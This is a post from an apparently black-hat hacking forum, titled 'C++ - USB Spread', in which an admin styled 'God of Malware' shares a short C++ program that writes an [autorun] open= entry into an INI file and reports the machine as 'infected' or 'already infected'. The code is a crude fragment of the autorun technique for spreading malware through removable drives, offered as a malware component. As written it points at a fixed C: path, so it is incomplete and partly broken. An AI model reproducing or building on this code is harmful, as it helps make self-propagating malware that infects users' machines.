C++ - USB Spread

  • 0 Replies
  • 109 Views

0 Members and 1 Guest are viewing this topic.

Offline Omega

    *
  • The Boss (Admin)
  • Black Hat Sec Member
  • Telegram: @BLACKHATSEC_FORUM
  • Posts: 190
  • Popularity: +1/-0
  • God of Malware
    • View Profile
    • Awards
« on: March 14, 2022, 10:10:29 AM »
C++ - USB Spread

Code
/*

ReadINI/WriteINI
by: stoopid

*/

#include <windows.h>
#include <stdio.h>

int WriteINI( char* sINI, char* sFILE );
int ReadINI( char* sINI, char* sFILE  );
           
int main()
{
    if( ReadINI( "C:\\blah.ini", "blah.exe" ) == 0 ) {
        if( WriteINI( "C:\\blah.ini", "blah.exe" ) == 0 ) {
            printf( ">infected" );
        }
    }
    else {
         printf( "<already infected" );
    }
    getchar( );
 
    return( 0 );
}

int WriteINI( char* sINI, char* sFILE )
{
    bool bWrite = WritePrivateProfileString( "autorun", "open", sFILE, sINI );
    if( bWrite == false ) {
        return( 1 );
    }
    return( 0 );
}

int ReadINI( char* sINI, char* sFILE )
{
    char szBuffer[260];
    unsigned long lRead = GetPrivateProfileString( "autorun", "open", NULL, szBuffer, sizeof( szBuffer ), sINI );
    if( lRead != 0 ) {
        if( strstr( szBuffer, sFILE ) ) {
            return( 1 );
        }
    }
    return( 0 );
}
  • Discord: BLACK HAT SEC#5222
  • [+]
  • [-]

  •